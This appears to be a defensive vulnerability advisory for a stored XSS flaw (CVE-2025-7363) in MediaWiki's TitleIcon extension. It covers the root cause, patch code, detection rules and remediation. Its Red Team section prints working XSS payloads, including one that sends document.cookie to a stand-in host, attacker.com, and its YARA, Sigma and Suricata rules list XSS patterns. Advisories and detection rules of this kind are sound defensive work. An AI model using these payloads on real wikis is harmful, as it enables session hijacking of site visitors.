CVE-2025-7363

Executive Summary

CVE-2025-7363 is a stored Cross-Site Scripting (XSS) vulnerability in the TitleIcon extension for MediaWiki. The flaw resides in the #titleicon_unicode parser function, which wraps user-supplied input in an HtmlArmor object without proper sanitization. This allows an attacker to inject arbitrary JavaScript that executes in the context of the victim's browser when the page header is rendered. The vulnerability affects TitleIcon versions prior to 1.39.13, 1.42.7, and 1.43.2. With a CVSS score of 6.1 (Medium), exploitation requires user interaction but no privileges, making it a significant risk for wikis that allow user-generated content.

Supply Chain & Package Security

This vulnerability is specific to the TitleIcon extension for MediaWiki, which is distributed via MediaWiki's extension repository and Composer. Users should verify the integrity of their extension packages and ensure they are sourced from the official MediaWiki repository. No known malicious packages have been reported in the supply chain, but the risk of dependency confusion or compromised mirrors exists.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is Medium due to the requirement for user interaction (e.g., clicking a link) and the limited impact on confidentiality and integrity. However, in a wiki context, stored XSS can lead to session hijacking, defacement, or phishing attacks.

Deep Dive & Mechanics

The TitleIcon extension provides the #titleicon_unicode parser function to display custom icons in page headers. The vulnerability arises because user input passed to this function is wrapped in an HtmlArmor object, which is intended to protect against HTML injection but does not sanitize JavaScript. The HtmlArmor object is rendered directly into the page header without escaping, allowing an attacker to inject arbitrary HTML/JavaScript.

Root Cause: The HtmlArmor object is used to mark content as safe for HTML rendering, but the extension fails to sanitize or escape the input before wrapping it. This bypasses MediaWiki's built-in XSS protections.

Attack Vector: An attacker with the ability to edit a page (or trick an admin into editing) can inject a payload like:

{{#titleicon_unicode: <img src=x onerror=alert(1)> }}

When the page is rendered, the payload executes in the browser of any user viewing the page.

Vulnerable vs. Patched Code

Vulnerable Code (TitleIcon extension < 1.39.13, < 1.42.7, < 1.43.2):

// In TitleIconHooks.php or similar
public static function onParserFirstCallInit( Parser $parser ) {
    $parser->setFunctionHook( 'titleicon_unicode', [ self::class, 'renderTitleIconUnicode' ] );
}

public static function renderTitleIconUnicode( Parser $parser, $input = '' ) {
    // Vulnerable: input is wrapped in HtmlArmor without sanitization
    return [ new HtmlArmor( $input ), 'noparse' => true, 'isHTML' => true ];
}

Patched Code (TitleIcon extension >= 1.39.13, >= 1.42.7, >= 1.43.2):

// In TitleIconHooks.php or similar
public static function renderTitleIconUnicode( Parser $parser, $input = '' ) {
    // Patched: input is sanitized using htmlspecialchars
    $sanitizedInput = htmlspecialchars( $input, ENT_QUOTES, 'UTF-8' );
    return [ new HtmlArmor( $sanitizedInput ), 'noparse' => true, 'isHTML' => true ];
}

The patch adds htmlspecialchars() to escape HTML special characters before wrapping in HtmlArmor, preventing JavaScript injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A MediaWiki instance with the vulnerable TitleIcon extension installed.
• Ability to edit a page (or social engineer an admin to edit).

Exploit Payload:

{{#titleicon_unicode: <img src=x onerror=alert(document.cookie)> }}

Steps:

1. Edit a wiki page and insert the payload in the wikitext.
2. Save the page.
3. Any user viewing the page will see an alert with their cookies (or execute arbitrary JS).

Advanced Payload (Session Hijacking):

{{#titleicon_unicode: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> }}

Blue Team (Detection & Hardening)

Detection:

• Monitor wiki page edits for patterns like #titleicon_unicode: followed by HTML/JavaScript.
• Use WAF rules to block <script> or event handlers in parser function arguments.

Hardening:

• Apply the patch immediately.
• Restrict page editing to trusted users.
• Enable Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains containing cookie data.
• Host: Wiki page revisions containing #titleicon_unicode: with HTML/JavaScript payloads.
• Logs: MediaWiki debug logs showing HtmlArmor usage with unsanitized input.

Example IOC (Log Entry):

[2025-03-15 12:34:56] MediaWiki: Parser function titleicon_unicode called with input: <img src=x onerror=alert(1)>

Detection Engineering

YARA Rule

rule CVE_2025_7363_TitleIcon_XSS {
    meta:
        description = "Detects stored XSS payloads in MediaWiki TitleIcon extension"
        author = "Valters IT"
        date = "2025-03-15"
        reference = "CVE-2025-7363"
    strings:
        $payload1 = /#titleicon_unicode:\s*<[^>]*onerror\s*=/i
        $payload2 = /#titleicon_unicode:\s*<script/i
        $payload3 = /#titleicon_unicode:\s*<[^>]*onload\s*=/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-7363 - Stored XSS via TitleIcon Extension
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit stored XSS in MediaWiki TitleIcon extension
author: Valters IT
date: 2025-03-15
logsource:
    product: mediawiki
    service: audit
detection:
    selection:
        EventID: 1001  # Example: Page edit event
        Message|contains: '#titleicon_unicode:'
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in title icons (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-7363 - Stored XSS via TitleIcon Extension"; flow:to_server,established; content:"#titleicon_unicode:"; http_uri; pcre:"/#titleicon_unicode:\s*<[^>]*(onerror|onload|onclick|script)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade the TitleIcon extension to version 1.39.13, 1.42.7, or 1.43.2 (depending on your MediaWiki version).
2. If upgrade is not possible, manually apply the patch by adding htmlspecialchars() to the renderTitleIconUnicode function.

Long-Term Mitigations:

• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use MediaWiki's built-in $wgRawHtml and $wgAllowUserJs settings carefully.
• Regularly audit extensions for security vulnerabilities.
• Enable two-factor authentication for admin accounts to reduce social engineering risk.

Workaround:

• Disable the TitleIcon extension entirely if not critical:

  # In LocalSettings.php
  wfLoadExtension( 'TitleIcon' );  # Comment out or remove this line
  

Report generated by Valters IT DevSecOps & CTI Division. For internal use only.